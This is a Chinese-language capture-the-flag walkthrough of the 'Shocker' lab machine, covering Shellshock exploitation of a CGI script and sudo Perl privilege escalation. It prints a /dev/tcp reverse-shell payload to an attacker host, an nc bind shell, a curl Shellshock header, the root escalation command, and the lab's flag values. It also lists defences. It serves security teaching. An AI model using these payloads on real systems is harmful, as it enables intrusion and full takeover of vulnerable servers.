[Meachines] [Easy] shocker CGI-BIN Shell Shock + Perl权限提升
字数 1116 2025-08-20 18:18:23
Shellshock漏洞利用与权限提升教学文档
1. 信息收集阶段
1.1 初始扫描
使用Nmap进行初始端口扫描:
nmap -p- 10.10.10.56 --min-rate 1000 -sC -sV
扫描结果:
- 开放端口:
- 80/tcp: Apache httpd 2.4.18 (Ubuntu)
- 2222/tcp: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
1.2 Web目录枚举
使用DIRB工具进行Web目录扫描:
dirb http://10.10.10.56/
2. Shellshock漏洞利用
2.1 漏洞背景
Shellshock(CVE-2014-6271)是Bash shell中的一个严重安全漏洞,允许攻击者通过环境变量注入任意命令。在Apache mod_cgi环境下,HTTP头部的某些字段会被转换为环境变量,从而可能被利用。
2.2 漏洞验证
检查CGI脚本是否存在漏洞:
searchsploit -w apache mod_cgi
2.3 利用脚本分析
使用Python编写的Shellshock利用脚本关键部分:
headers = {"Cookie": payload, "Referer": payload}
c = httplib.HTTPConnection(rhost)
c.request("GET",page,headers=headers)
2.4 反向Shell利用
执行反向Shell攻击:
python2 ./exp.py payload=reverse rhost=10.10.10.56 lhost=10.10.16.14 lport=10032 pages=/cgi-bin/user.sh
Payload构造:
/bin/bash -c "/bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &"
2.5 绑定Shell利用
绑定Shell方式(备用方案):
python2 ./exp.py payload=bind rhost=10.10.10.56 rport=1234 pages=/cgi-bin/user.sh
Payload构造:
/bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'
3. 权限提升阶段
3.1 检查sudo权限
获取当前用户的sudo权限信息:
sudo -l
3.2 Perl权限提升
利用Perl执行权限提升:
sudo perl -e 'exec "/bin/sh";'
3.3 获取flag
-
用户flag位置:
User.txt- 内容:
52bf59994f4a8d97df4daa775641ab05
- 内容:
-
根flag位置:
Root.txt- 内容:
0bc6d190e24dca08e42174ed7a7ad1a7
- 内容:
4. 防御措施
4.1 Shellshock防御
- 升级Bash到最新版本
- 禁用不必要的CGI脚本
- 使用Web应用防火墙(WAF)过滤恶意请求
4.2 权限提升防御
- 限制sudo权限,避免不必要的命令执行权限
- 定期审计sudoers文件
- 使用最小权限原则配置服务账户
5. 扩展知识
5.1 Shellshock变种
- CVE-2014-6277
- CVE-2014-6278
- CVE-2014-7169
5.2 替代利用方法
使用cURL直接测试Shellshock漏洞:
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'id'" http://target/cgi-bin/test.cgi
5.3 其他权限提升方法
- 内核漏洞利用
- SUID二进制滥用
- 定时任务劫持
- 环境变量劫持
6. 参考资源
- Shellshock漏洞官方说明:https://shellshocker.net/
- Exploit-DB相关利用代码:https://www.exploit-db.com/exploits/34900
- Apache mod_cgi安全指南:https://httpd.apache.org/docs/2.4/howto/cgi.html